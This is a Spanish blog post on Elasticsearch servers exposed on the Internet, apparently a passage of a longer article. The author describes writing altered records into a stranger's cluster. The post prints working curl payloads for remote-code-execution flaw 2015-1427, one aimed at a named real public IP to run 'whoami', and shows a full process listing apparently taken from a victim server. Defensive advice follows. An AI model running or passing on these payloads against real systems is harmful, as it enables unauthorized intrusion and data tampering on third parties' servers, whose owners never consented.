En ocasiones he tenido problemas como decía con las versiones de ES, pero una cosa que me parece tremendamente útil es que cuando accedemos a un cluster ES, mediante cualquiera de sus nodos, aparece la información detallada de los elementos que componen el cluster. Otro dato más interesante en una supuesta fase de descubrimiento en un pentesting.


Ahora podemos seguir investigando información publicada sin control en Internet, en vez de por kibana mal configurado, por un kibana bien configurado, en este caso el nuestro :-) sobre un ES mal configurado. Ahora es el turno de probar a introducir datos.

Dentro del proceso normal de uso de ES podemos usar la api web, una simple llamada mediante curl a la url, el índice, el tipo de elemento e introducimos el json que queremos. 

Para hacer la prueba mi amigo descarga un json, modifica el id, cambia algún campo y lo sube, como era de esperar, aparece sin problemas.



Como puedes imaginar, al igual que se puede listar y añadir, borrar sería posible, no lo hago porque esto si sería ilegal.

No basta con exponer los datos, sino que desde hace mucho tiempo existe una vulnerabilidad conocida en versiones viejas, curioso de las que más existen, que permite ejecución de código remota, yahoooooooooooooooo. La vulnerabilidad es esta: 2015-1427

El exploit que podemos usar, para ser buenos en esta ocasión y evitar que los SK ataquen, podría ser esta:

curl http://ip:9200/_search?pretty -XPOST -d '{"script_fields": {"myscript": {"script": "java.lang.Math.class.forName(\"java.lang.System\").getProperty(\"os.name\")"}}}'

Vamos a ver dijo un ciego, pero parecen honeypots porque no me creo que estén aún así !!!.


Cambiando el exploit podemos ver:

curl http://80.248.212.104:9200/_search?pretty -XPOST -d '{"script_fields": {"myscript": {"script": "java.lang.Math.class.forName(\"java.lang.Runtime\").getRuntime().exec (\"whoami\").getText()"}}}'


Para los más perezosos existe un Metasploit disponible pero no me gusta mucho usar esta herramienta pudiendo usar las cosas a pelo.

Y si probamos con un tasklist? 

"myscript" : [ "\r\nNom de l'image                 PID Nom de la sessio Num‚ro de s Utilisation \r\n========================= ======== ================ =========== ============\r\nSystem Idle Process              0 Services                   0        24 Ko\r\nSystem                           4 Services                   0       300 Ko\r\nsmss.exe                       320 Services                   0     1ÿ228 Ko\r\ncsrss.exe                      408 Services                   0     7ÿ400 Ko\r\ncsrss.exe                      448 Console                    1     3ÿ964 Ko\r\nwininit.exe                    456 Services                   0     4ÿ628 Ko\r\nwinlogon.exe                   484 Console                    1     4ÿ576 Ko\r\nservices.exe                   552 Services                   0    10ÿ164 Ko\r\nlsass.exe                      560 Services                   0    19ÿ368 Ko\r\nlsm.exe                        568 Services                   0     6ÿ864 Ko\r\nsvchost.exe                    656 Services                   0    10ÿ448 Ko\r\nsvchost.exe                    732 Services                   0    11ÿ508 Ko\r\nLogonUI.exe                    808 Console                    1    16ÿ216 Ko\r\nsvchost.exe                    820 Services                   0    14ÿ152 Ko\r\nsvchost.exe                    868 Services                   0    32ÿ108 Ko\r\nsvchost.exe                    916 Services                   0   407ÿ604 Ko\r\nsvchost.exe                    960 Services                   0    11ÿ952 Ko\r\nsvchost.exe                   1000 Services                   0    20ÿ440 Ko\r\nsvchost.exe                    400 Services                   0    12ÿ428 Ko\r\nspoolsv.exe                   1080 Services                   0    11ÿ256 Ko\r\nvmicsvc.exe                   1112 Services                   0     6ÿ060 Ko\r\nvmicsvc.exe                   1132 Services                   0    11ÿ312 Ko\r\nvmicsvc.exe                   1156 Services                   0     4ÿ500 Ko\r\nvmicsvc.exe                   1212 Services                   0    14ÿ000 Ko\r\nsvchost.exe                   1240 Services                   0     9ÿ404 Ko\r\nelasticsearch-service-x64     1272 Services                   0   424ÿ992 Ko\r\nconhost.exe                   1300 Services                   0     2ÿ948 Ko\r\ninetinfo.exe                  1380 Services                   0    15ÿ472 Ko\r\nKBPlatform.Updater.exe        1416 Services                   0    48ÿ384 Ko\r\nKBCrawl.KBCockpit.exe         1576 Services                   0    23ÿ400 Ko\r\nKBCrawl.KBWatchdog.exe        1620 Services                   0    18ÿ840 Ko\r\nKBCrawl.Mailer.exe            1664 Services                   0    43ÿ260 Ko\r\nKBCrawl.Scheduler6.exe        1776 Services                   0    88ÿ436 Ko\r\nSMSvcHost.exe                 1856 Services                   0    16ÿ376 Ko\r\nsvchost.exe                   1924 Services                   0     3ÿ012 Ko\r\nKBPlatform.Mailer.exe         1956 Services                   0    19ÿ508 Ko\r\nsvchost.exe                    908 Services                   0    15ÿ376 Ko\r\nw3wp.exe                      2396 Services                   0   195ÿ592 Ko\r\nsvchost.exe                   2648 Services                   0     8ÿ496 Ko\r\nsvchost.exe                   2688 Services                   0     5ÿ488 Ko\r\nsvchost.exe                   2720 Services                   0     5ÿ284 Ko\r\nWmiPrvSE.exe                  2116 Services                   0   282ÿ816 Ko\r\ncsrss.exe                     3124                            2     6ÿ144 Ko\r\nwinlogon.exe                  3184                            2     5ÿ340 Ko\r\ntaskhost.exe                  3472                            2    16ÿ248 Ko\r\nrdpclip.exe                   3504                            2     6ÿ264 Ko\r\ndwm.exe                       3576                            2     5ÿ124 Ko\r\nexplorer.exe                  3592                            2    41ÿ628 Ko\r\nmsdtc.exe                      600 Services                   0     7ÿ616 Ko\r\nsnmp.exe                      3328 Services                   0     7ÿ960 Ko\r\nVSSVC.exe                    16668 Services                   0     7ÿ152 Ko\r\nvmicsvc.exe                   7948 Services                   0     4ÿ700 Ko\r\nw3wp.exe                      7968 Services                   0    92ÿ124 Ko\r\ntaskeng.exe                   5880 Services                   0     6ÿ576 Ko\r\nKBCrawl.Agent.exe            16980 Services                   0    67ÿ952 Ko\r\nconhost.exe                   9564 Services                   0     3ÿ040 Ko\r\nWmiPrvSE.exe                 12800 Services                   0     7ÿ216 Ko\r\ntasklist.exe                  9320 Services                   0     5ÿ488 Ko\r\n" ]

Como es normal, las redes de criminales se hacen eco de estas deficiencias y lo emplean para propagar malware, como indican en alienvault y en malwaremustdie.

Estoy considerando indicar como posibles maliciosas todas las ip a nivel mundial que alberguen servidores 1.4.1-1.4.3 de ES, porque la verdad que son un peligro.

Es también muy revelador que hasta la empresa desarrolladora de los productos ES y kibana publique su entorno de integración continua Jenkins a todo el mundo. Ofrece la posibilidad de ver los usuarios, y por qué no, alguno tendrá una clave débil en github? Esto es MUY peligroso ya que acceder al entorno de desarrollo de una aplicación así sería como dar carta blanca a los atacantes a introducir malware en las instalaciones. Se armaría un pollo gordo. No se porque no se restringe esto pero bueno...



La conclusión que podemos sacar con esto es la de siempre, pero voy a intentar ponerlo en frases directas por si así se nos queda mas claro:

1.- Seguridad por oscuridad no funciona.
2.- Todo lo que hagas, hazlo seguro desde el primer momento.
3.- Piensa en que tus datos "inservibles" podrían ser ORO para otras personas.
4.- Actualiza tus sistemas.
5.- Realiza auditorias de seguridad de tus recursos.
...


Como siempre agradecer vuestra lectura, ánimos y apoyo que recibo cada día con el blog.

Quiero agradecer en esta artículo al señor Pedro Candel, organizador de Navaja Negra por darme algunas ideas de redacción ya que el maestro ya hizo un trabajo parecido a esta con bases de datos expuestas, en su caso Mongo. Grande Pedro, te debemos tanto !!!!

Gracias por leerme !!!